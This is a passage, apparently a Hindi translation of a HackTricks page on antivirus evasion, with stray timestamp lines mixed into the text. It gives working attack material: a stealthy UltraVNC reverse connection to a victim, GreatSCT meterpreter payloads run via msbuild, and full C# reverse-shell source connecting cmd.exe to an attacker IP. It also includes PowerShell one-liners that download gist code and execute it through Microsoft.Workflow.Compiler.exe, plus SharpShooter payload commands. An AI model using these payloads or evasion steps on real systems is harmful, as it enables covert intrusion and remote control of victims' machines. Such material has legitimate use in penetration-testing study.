**मेज़बान पर**: _**winvnc.exe**_ को चलाएं और सर्वर को कॉन्फ़िगर करें:
* _TrayIcon_ को अक्षम करें
* _VNC Password_ में पासवर्ड सेट करें
* _View-Only Password_ में पासवर्ड सेट करें
फिर, बाइनरी _**winvnc.exe**_ और **नया** बनाया गया फ़ाइल _**UltraVNC.ini**_ को **विक्टिम** के अंदर ले जाएं
2023-11-06 08:38:02 +00:00
#### **रिवर्स कनेक्शन**
**हमलावर** को अपने **होस्ट** के अंदर बाइनरी `vncviewer.exe -listen 5900` को **चलाना** चाहिए ताकि वह रिवर्स **VNC कनेक्शन** को पकड़ने के लिए **तैयार** हो जाए। फिर, **विक्टिम** के अंदर: winvnc डेमन चलाएं `winvnc.exe -run` और `winwnc.exe [-autoreconnect] -connect <हमलावर_ip>::5900`
**चेतावनी:** गुप्तचरता बनाए रखने के लिए आपको कुछ चीज़ें नहीं करनी चाहिए
* अगर यह पहले से चल रहा है, तो `winvnc` न चलाएं या आपको [पॉपअप](https://i.imgur.com/1SROTTl.png) को ट्रिगर कर देगा। `tasklist | findstr winvnc` के साथ चल रहा है या नहीं यह जांचें
* `UltraVNC.ini` के बिना `winvnc` न चलाएं या यह [कॉन्फ़िग विंडो](https://i.imgur.com/rfMQWcf.png) खोल देगा
* मदद के लिए `winvnc -h` न चलाएं या आपको [पॉपअप](https://i.imgur.com/oc18wcu.png) को ट्रिगर कर देगा
2022-12-11 19:30:44 +00:00
### GreatSCT
इसे यहाँ से डाउनलोड करें: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
```
git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py
```
GreatSCT के अंदर:
```
use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
```
अब **लिस्टनर को शुरू** करें `msfconsole -r file.rc` और **एक्सीक्यूट** करें **एक्सएमएल पेलोड** के साथ:
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
**वर्तमान रक्षक प्रक्रिया को बहुत तेजी से समाप्त कर देगा।**
### हमारी खुद की रिवर्स शैल को कंपाइल करना
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
#### पहला सी# रिवर्सशैल
इसे इस प्रकार कंपाइल करें:
```
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
```
Use it with:
**इसका उपयोग करें:**
```
back.exe <ATTACKER_IP> <PORT>
```
```csharp
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace ConnectBack
{
2023-11-06 08:38:02 +00:00
public class Program
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
2023-11-06 08:38:02 +00:00
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
2023-11-06 08:38:02 +00:00
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
2023-11-06 08:38:02 +00:00
}
}
```
### C# का उपयोग करके कंपाइलर
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
```
[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066)
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
स्वचालित डाउनलोड और क्रियान्वयन:
```csharp
64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
```
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
C# obfuscators list: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
### सी++
```
sudo apt-get install mingw-w64
i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
```
* [https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp](https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp)
* [https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/](https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/)
* [https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf)
* [https://github.com/l0ss/Grouper2](ps://github.com/l0ss/Group)
* [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
* [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
2023-11-06 08:38:02 +00:00
### अन्य उपकरण
2020-11-10 09:43:37 +00:00
```bash
# Veil Framework:
https://github.com/Veil-Framework/Veil
# Shellter
https://www.shellterproject.com/download/
# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
2023-11-06 08:38:02 +00:00
# Javascript Payload Stageless:
2020-11-10 09:43:37 +00:00
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
2023-11-06 08:38:02 +00:00
# Stageless HTA Payload:
2020-11-10 09:43:37 +00:00
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
2023-11-06 08:38:02 +00:00
# Donut:
2020-11-10 09:43:37 +00:00
https://github.com/TheWover/donut
# Vulcan
https://github.com/praetorian-code/vulcan
```
2023-11-06 08:38:02 +00:00
### अधिक
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
2022-04-28 16:01:33 +00:00
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके **HackTricks** और **HackTricks Cloud** github repos में।
2022-04-28 16:01:33 +00:00
</details>